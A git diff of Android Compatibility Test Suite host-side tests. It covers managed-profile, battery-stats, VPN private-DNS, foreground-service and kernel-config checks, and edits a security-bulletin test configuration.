@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import android.platform.test.annotations.SecurityTest;
+
+/**
+ * Host side tests for separate profile challenge permissions.
+ * Run the CtsSeparateProfileChallengeApp device side test.
+ */
+
+public class SeparateProfileChallengeTest extends BaseDevicePolicyTest {
+ private static final String SEPARATE_PROFILE_PKG = "com.android.cts.separateprofilechallenge";
+ private static final String SEPARATE_PROFILE_APK = "CtsSeparateProfileChallengeApp.apk";
+ private static final String SEPARATE_PROFILE_TEST_CLASS =
+ ".SeparateProfileChallengePermissionsTest";
+ private String mPreviousHiddenApiPolicy = "0";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ setHiddenApiPolicyOn();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ removeTestUsers();
+ getDevice().uninstallPackage(SEPARATE_PROFILE_PKG);
+ setHiddenApiPolicyPreviousOrOff();
+ super.tearDown();
+ }
+
+ @SecurityTest
+ public void testSeparateProfileChallengePermissions() throws Exception {
+ if (!mHasFeature || !mSupportsMultiUser) {
+ return;
+ }
+
+ // Create managed profile.
+ final int profileUserId = createManagedProfile(mPrimaryUserId);
+ // createManagedProfile doesn't start the user automatically.
+ startUser(profileUserId);
+ installAppAsUser(SEPARATE_PROFILE_APK, profileUserId);
+ executeSeparateProfileChallengeTest(profileUserId);
+ }
+
+ protected void setHiddenApiPolicyOn() throws Exception {
+ mPreviousHiddenApiPolicy = getDevice().executeShellCommand(
+ "settings get global hidden_api_policy_p_apps");
+ executeShellCommand("settings put global hidden_api_policy_p_apps 1");
+ }
+
+ protected void setHiddenApiPolicyPreviousOrOff() throws Exception {
+ executeShellCommand("settings put global hidden_api_policy_p_apps "
+ + mPreviousHiddenApiPolicy);
+ }
+
+ private void executeSeparateProfileChallengeTest(int userId) throws Exception {
+ runDeviceTestsAsUser(SEPARATE_PROFILE_PKG, SEPARATE_PROFILE_TEST_CLASS, userId);
+ }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index e35841b..bbdcb08 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -42,6 +42,7 @@
// These constants are those in PackageManager.
public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+ public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
private static final int STATE_TIME_TOP_INDEX = 4;
@@ -135,9 +136,6 @@
}
public void testAlarms() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
@@ -151,9 +149,6 @@
}
public void testWakeLockDuration() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
@@ -176,9 +171,6 @@
}
public void testServiceForegroundDuration() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
@@ -194,9 +186,6 @@
}
public void testUidForegroundDuration() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
// No foreground time before test
@@ -210,9 +199,6 @@
}
public void testUidBackgroundDuration() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
// No background time before test
@@ -223,9 +209,6 @@
}
public void testTopDuration() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
// No top time before test
@@ -238,9 +221,6 @@
}
public void testCachedDuration() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
// No cached time before test
@@ -291,7 +271,7 @@
}
public void testBleScans() throws Exception {
- if (noBattery() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
+ if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
return;
}
@@ -315,7 +295,7 @@
public void testUnoptimizedBleScans() throws Exception {
- if (noBattery() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
+ if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
return;
}
batteryOnScreenOff();
@@ -366,7 +346,7 @@
}
public void testGpsUpdates() throws Exception {
- if (noBattery() || !hasFeature(FEATURE_LOCATION_GPS, true)) {
+ if (isTV() || !hasFeature(FEATURE_LOCATION_GPS, true)) {
return;
}
@@ -393,7 +373,7 @@
}
public void testJobBgVsFg() throws Exception {
- if (noBattery()) {
+ if (isTV()) {
return;
}
batteryOnScreenOff();
@@ -416,7 +396,7 @@
}
public void testSyncBgVsFg() throws Exception {
- if (noBattery()) {
+ if (isTV()) {
return;
}
batteryOnScreenOff();
@@ -444,9 +424,6 @@
* are properly updated in battery stats.
*/
public void testRealtime() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
long startingValueRealtime = getLongValue(0, "bt", "", 7);
long startingValueBatteryRealtime = getLongValue(0, "bt", "", 5);
@@ -472,9 +449,6 @@
* Tests the total duration reported for jobs run on the job scheduler.
*/
public void testJobDuration() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
@@ -493,9 +467,6 @@
* Tests the total duration and # of syncs reported for sync activities.
*/
public void testSyncs() throws Exception {
- if (noBattery()) {
- return;
- }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
@@ -653,14 +624,9 @@
return String.format("Completed performing %s for request %s", actionValue, requestCode);
}
- /** Determine if device has no battery and is not expected to have proper batterystats. */
- private boolean noBattery() throws Exception {
- final String batteryinfo = getDevice().executeShellCommand("dumpsys battery");
- boolean hasBattery = batteryinfo.contains("present: true");
- if (!hasBattery) {
- LogUtil.CLog.w("Device does not have a battery");
- }
- return !hasBattery;
+ /** Determine if device is just a TV and is not expected to have proper batterystats. */
+ private boolean isTV() throws Exception {
+ return hasFeature(FEATURE_LEANBACK_ONLY, false);
}
/**
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 1d63d6f..dd7a448 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -66,8 +66,8 @@
int jankyDelta = summaryAfter.getJankyFrames() - summaryBefore.getJankyFrames();
// We expect 11 frames to have been drawn (first frame + the 10 more explicitly requested)
assertTrue(frameDelta >= 11);
- assertTrue(jankyDelta >= 0);
- assertTrue(jankyDelta <= frameDelta);
+ assertTrue(jankyDelta >= 1);
+ int veryJankyDelta = countFramesAbove(statsAfter, 40) - countFramesAbove(statsBefore, 40);
}
public void testJankyDrawFrame() throws Exception {
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index 11f6bb1..6d89e58 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -19,8 +19,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE_TAGS := tests
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt ub-uiautomator \
CtsHostsideNetworkTestsAidl
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index c3962fb..599a31c 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -22,9 +22,6 @@
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
-@CddTest(requirement="7.4.7/C-1-1,H-1-1,C-2-1")
public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index b3f61c4..a406d7a 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -18,6 +18,7 @@
import static android.system.OsConstants.*;
+import android.content.ContentResolver;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
@@ -27,9 +28,9 @@
import android.net.NetworkCapabilities;
import android.net.NetworkRequest;
import android.net.VpnService;
+import android.provider.Settings;
import android.os.ParcelFileDescriptor;
import android.os.Process;
-import android.os.SystemProperties;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -63,8 +64,12 @@
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
+import java.net.UnknownHostException;
import java.nio.charset.StandardCharsets;
+import java.util.Objects;
import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
/**
* Tests for the VpnService API.
@@ -93,6 +98,13 @@
*/
public class VpnTest extends InstrumentationTestCase {
+ // These are neither public nor @TestApi.
+ // TODO: add them to @TestApi.
+ private static final String PRIVATE_DNS_MODE_SETTING = "private_dns_mode";
+ private static final String PRIVATE_DNS_MODE_PROVIDER_HOSTNAME = "hostname";
+ private static final String PRIVATE_DNS_MODE_OPPORTUNISTIC = "opportunistic";
+ private static final String PRIVATE_DNS_SPECIFIER_SETTING = "private_dns_specifier";
+
public static String TAG = "VpnTest";
public static int TIMEOUT_MS = 3 * 1000;
public static int SOCKET_TIMEOUT_MS = 100;
@@ -109,6 +121,9 @@
final Object mLock = new Object();
final Object mLockShutdown = new Object();
+ private String mOldPrivateDnsMode;
+ private String mOldPrivateDnsSpecifier;
+
private boolean supportedHardware() {
final PackageManager pm = getInstrumentation().getContext().getPackageManager();
return !pm.hasSystemFeature("android.hardware.type.watch");
@@ -120,6 +135,7 @@
mNetwork = null;
mCallback = null;
+ storePrivateDnsSetting();
mDevice = UiDevice.getInstance(getInstrumentation());
mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
@@ -133,6 +149,7 @@
@Override
public void tearDown() throws Exception {
+ restorePrivateDnsSetting();
mRemoteSocketFactoryClient.unbind();
if (mCallback != null) {
mCM.unregisterNetworkCallback(mCallback);
@@ -536,16 +553,97 @@
}
}
+ private ContentResolver getContentResolver() {
+ return getInstrumentation().getContext().getContentResolver();
+ }
+
+ private boolean isPrivateDnsInStrictMode() {
+ return PRIVATE_DNS_MODE_PROVIDER_HOSTNAME.equals(
+ Settings.Global.getString(getContentResolver(), PRIVATE_DNS_MODE_SETTING));
+ }
+
+ private void storePrivateDnsSetting() {
+ mOldPrivateDnsMode = Settings.Global.getString(getContentResolver(),
+ PRIVATE_DNS_MODE_SETTING);
+ mOldPrivateDnsSpecifier = Settings.Global.getString(getContentResolver(),
+ PRIVATE_DNS_SPECIFIER_SETTING);
+ }
+
+ private void restorePrivateDnsSetting() {
+ Settings.Global.putString(getContentResolver(), PRIVATE_DNS_MODE_SETTING,
+ mOldPrivateDnsMode);
+ Settings.Global.putString(getContentResolver(), PRIVATE_DNS_SPECIFIER_SETTING,
+ mOldPrivateDnsSpecifier);
+ }
+
+ // TODO: replace with CtsNetUtils.awaitPrivateDnsSetting in Q or above.
+ private void expectPrivateDnsHostname(final String hostname) throws Exception {
+ final NetworkRequest request = new NetworkRequest.Builder()
+ .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
+ .build();
+ final CountDownLatch latch = new CountDownLatch(1);
+ final NetworkCallback callback = new NetworkCallback() {
+ @Override
+ public void onLinkPropertiesChanged(Network network, LinkProperties lp) {
+ if (network.equals(mNetwork) &&
+ Objects.equals(lp.getPrivateDnsServerName(), hostname)) {
+ latch.countDown();
+ }
+ }
+ };
+
+ mCM.registerNetworkCallback(request, callback);
+
+ try {
+ assertTrue("Private DNS hostname was not " + hostname + " after " + TIMEOUT_MS + "ms",
+ latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ } finally {
+ mCM.unregisterNetworkCallback(callback);
+ }
+ }
+
+ private void setAndVerifyPrivateDns(boolean strictMode) throws Exception {
+ final ContentResolver cr = getInstrumentation().getContext().getContentResolver();
+ String privateDnsHostname;
+
+ if (strictMode) {
+ privateDnsHostname = "vpncts-nx.metric.gstatic.com";
+ Settings.Global.putString(cr, PRIVATE_DNS_SPECIFIER_SETTING, privateDnsHostname);
+ Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING,
+ PRIVATE_DNS_MODE_PROVIDER_HOSTNAME);
+ } else {
+ Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING, PRIVATE_DNS_MODE_OPPORTUNISTIC);
+ privateDnsHostname = null;
+ }
+
+ expectPrivateDnsHostname(privateDnsHostname);
+
+ String randomName = "vpncts-" + new Random().nextInt(1000000000) + "-ds.metric.gstatic.com";
+ if (strictMode) {
+ // Strict mode private DNS is enabled. DNS lookups should fail, because the private DNS
+ // server name is invalid.
+ try {
+ InetAddress.getByName(randomName);
+ fail("VPN DNS lookup should fail with private DNS enabled");
+ } catch (UnknownHostException expected) {
+ }
+ } else {
+ // Strict mode private DNS is disabled. DNS lookup should succeed, because the VPN
+ // provides no DNS servers, and thus DNS falls through to the default network.
+ assertNotNull("VPN DNS lookup should succeed with private DNS disabled",
+ InetAddress.getByName(randomName));
+ }
+ }
+
+ // Tests that strict mode private DNS is used on VPNs.
+ private void checkStrictModePrivateDns() throws Exception {
+ final boolean initialMode = isPrivateDnsInStrictMode();
+ setAndVerifyPrivateDns(!initialMode);
+ setAndVerifyPrivateDns(initialMode);
+ }
+
public void testDefault() throws Exception {
if (!supportedHardware()) return;
- // If adb TCP port opened, this test may running by adb over network.
- // All of socket would be destroyed in this test. So this test don't
- // support adb over network, see b/119382723.
- if (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
- || SystemProperties.getInt("service.adb.tcp.port", -1) > -1) {
- Log.i(TAG, "adb is running over the network, so skip this test");
- return;
- }
FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
@@ -556,6 +654,8 @@
assertSocketClosed(fd, TEST_HOST);
checkTrafficOnVpn();
+
+ checkStrictModePrivateDns();
}
public void testAppAllowed() throws Exception {
@@ -563,7 +663,6 @@
FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
- // Shell app must not be put in here or it would kill the ADB-over-network use case
String allowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
new String[] {"192.0.2.0/24", "2001:db8::/32"},
@@ -572,6 +671,8 @@
assertSocketClosed(fd, TEST_HOST);
checkTrafficOnVpn();
+
+ checkStrictModePrivateDns();
}
public void testAppDisallowed() throws Exception {
@@ -581,12 +682,6 @@
FileDescriptor remoteFd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
String disallowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
- // If adb TCP port opened, this test may running by adb over TCP.
- // Add com.android.shell appllication into blacklist to exclude adb socket for VPN test,
- // see b/119382723.
- // Note: The test don't support running adb over network for root device
- disallowedApps = disallowedApps + ",com.android.shell";
- Log.i(TAG, "Append shell app to disallowedApps: " + disallowedApps);
startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
new String[] {"192.0.2.0/24", "2001:db8::/32"},
"", disallowedApps);
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index a84d11c..08bf132 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
index c23ba84..674dab2 100644
--- a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
+++ b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
@@ -29,8 +29,6 @@
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
-import com.android.compatibility.common.util.CddTest;
-
import java.util.Arrays;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -38,7 +36,6 @@
/**
* Tests call blocking in a multi-user environment.
*/
-@CddTest(requirement="7.4.1.1/C-1-1")
public class CallBlockingTest extends BaseNumberBlockingClientTest {
private static final String QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE = CallLog.Calls.NUMBER
+ " = ? AND " + CallLog.Calls.PHONE_ACCOUNT_COMPONENT_NAME + " = ?";
@@ -68,7 +65,6 @@
assertNull(mTelecomManager.getPhoneAccount(getPhoneAccountHandle()));
}
- @CddTest(requirement="7.4.1.1/C-1-3,C-1-4")
public void testIncomingCallFromBlockedNumberIsRejected() throws Exception {
// Make sure no lingering values from previous runs.
cleanupCall(false /* verifyNoCallLogsWritten */);
diff --git a/hostsidetests/os/app/AndroidManifest.xml b/hostsidetests/os/app/AndroidManifest.xml
index fa9d9ae..88791ea 100755
--- a/hostsidetests/os/app/AndroidManifest.xml
+++ b/hostsidetests/os/app/AndroidManifest.xml
@@ -19,9 +19,16 @@
package="android.os.app"
android:targetSandboxVersion="2">
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+
<application>
<activity android:name=".TestNonExported"
android:exported="false" />
+
+ <service android:name=".TestFgService"
+ android:exported="true" />
+
</application>
+
</manifest>
diff --git a/hostsidetests/os/app/src/android/os/app/TestFgService.java b/hostsidetests/os/app/src/android/os/app/TestFgService.java
new file mode 100644
index 0000000..3548105
--- /dev/null
+++ b/hostsidetests/os/app/src/android/os/app/TestFgService.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.app;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.Process;
+import android.util.Log;
+
+public class TestFgService extends Service {
+ private static final String TAG = "TestFgService";
+
+ // intentionally invalid resource configuration
+ private static final int NOTIFICATION_ID = 5038;
+ private static final String CHANNEL = "fgservice";
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ Log.i(TAG, "onStartCommand() called");
+ Notification notification = new Notification.Builder(this, CHANNEL)
+ .setContentTitle("Foreground service")
+ .setContentText("Ongoing test app foreground service is live")
+ .setSmallIcon(NOTIFICATION_ID)
+ .build();
+
+ Log.i(TAG, "TestFgService starting foreground: pid=" + Process.myPid());
+ startForeground(NOTIFICATION_ID, notification);
+
+ return START_NOT_STICKY;
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index c557c9e..8e3f5c5 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -22,14 +22,17 @@
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.InputStreamSource;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.IBuildReceiver;
import com.android.tradefed.util.AbiUtils;
+import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
+import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Scanner;
@@ -38,12 +41,19 @@
public class OsHostTests extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
private static final String TEST_APP_PACKAGE = "android.os.app";
- private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
+ private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
private static final String START_NON_EXPORTED_ACTIVITY_COMMAND = String.format(
"am start -n %s/%s.%s",
TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_NON_EXPORTED_ACTIVITY_CLASS);
+ private static final String TEST_FG_SERVICE_CLASS = "TestFgService";
+ private static final String START_FG_SERVICE_COMMAND = String.format(
+ "am start-foreground-service -n %s/%s.%s",
+ TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_FG_SERVICE_CLASS);
+ private static final String FILTER_FG_SERVICE_REGEXP =
+ "TestFgService starting foreground: pid=([0-9]*)";
+
// Testing the intent filter verification mechanism
private static final String HOST_VERIFICATION_APK = "CtsHostLinkVerificationApp.apk";
private static final String HOST_VERIFICATION_PKG = "com.android.cts.openlinksskeleton";
@@ -104,6 +114,40 @@
}
}
+ /**
+ * Test behavior of malformed Notifications w.r.t. foreground services
+ * @throws Exception
+ */
+ @AppModeFull(reason = "Instant apps may not start foreground services")
+ public void testForegroundServiceBadNotification() throws Exception {
+ final Pattern pattern = Pattern.compile(FILTER_FG_SERVICE_REGEXP);
+
+ mDevice.clearLogcat();
+ mDevice.executeShellCommand(START_FG_SERVICE_COMMAND);
+ Thread.sleep(2500);
+
+ String pid = null;
+ try (InputStreamSource logSource = mDevice.getLogcat()) {
+ InputStreamReader streamReader = new InputStreamReader(logSource.createInputStream());
+ BufferedReader logReader = new BufferedReader(streamReader);
+
+ String line;
+ while ((line = logReader.readLine()) != null) {
+ Matcher matcher = pattern.matcher(line);
+ if (matcher.find()) {
+ pid = matcher.group(1);
+ break;
+ }
+ }
+ }
+ assertTrue("Didn't find test service statement in logcat", pid != null);
+
+ final String procStr = "/proc/" + pid;
+ final String lsOut = mDevice.executeShellCommand("ls -d " + procStr).trim();
+ assertTrue("Looking for nonexistence of service process " + pid,
+ lsOut.contains("No such file"));
+ }
+
public void testIntentFilterHostValidation() throws Exception {
String line = null;
try {
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index cdf71dc..8bef6138b 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := optional
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsSecurityHostTestCases
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 96cd045..bec7a9c 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -108,11 +108,10 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7/C-0-7")
+ @CddTest(requirement="9.7")
public void testConfigStackProtectorStrong() throws Exception {
assertTrue("Linux kernel must have Stack Protector enabled: " +
- "CONFIG_STACKPROTECTOR_STRONG=y or CONFIG_CC_STACKPROTECTOR_STRONG=y",
- configSet.contains("CONFIG_STACKPROTECTOR_STRONG=y") ||
+ "CONFIG_CC_STACKPROTECTOR_STRONG=y",
configSet.contains("CONFIG_CC_STACKPROTECTOR_STRONG=y"));
}
@@ -122,7 +121,7 @@
*
* @throws Exception
*/
- @CddTest(requirement="9.7/C-0-8")
+ @CddTest(requirement="9.7")
public void testConfigROData() throws Exception {
if (configSet.contains("CONFIG_UH_RKP=y"))
return;
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
index a07fbbd..fc814a5 100644
--- a/hostsidetests/securitybulletin/Android.mk
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_TAGS := optional
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsSecurityBulletinHostTestCases
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5f8f0e2..b13bd50 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -16,142 +16,27 @@
<configuration description="Config for the CTS Security bulletin host tests">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
- <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
- <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
- <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
- <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
- <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
- <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
- <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
- <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
- <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
- <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
- <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
- <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
- <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
- <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
- <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
- <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
- <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <!-- Bulletin 2016-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
- <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsHostLaunchAnyWhereApp.apk" />
+ </target_preparer>
- <!--__________________-->
- <!-- Bulletin 2016-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
-
- <!--__________________-->
- <!-- Bulletin 2016-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
-
- <!-- Bulletin 2016-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
-
- <!--__________________-->
- <!-- Bulletin 2016-10 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2016-11 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2016-12 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2017-0426->/data/local/tmp/CVE-2017-0426" />
-
- <!--__________________-->
- <!-- Bulletin 2017-03 -->
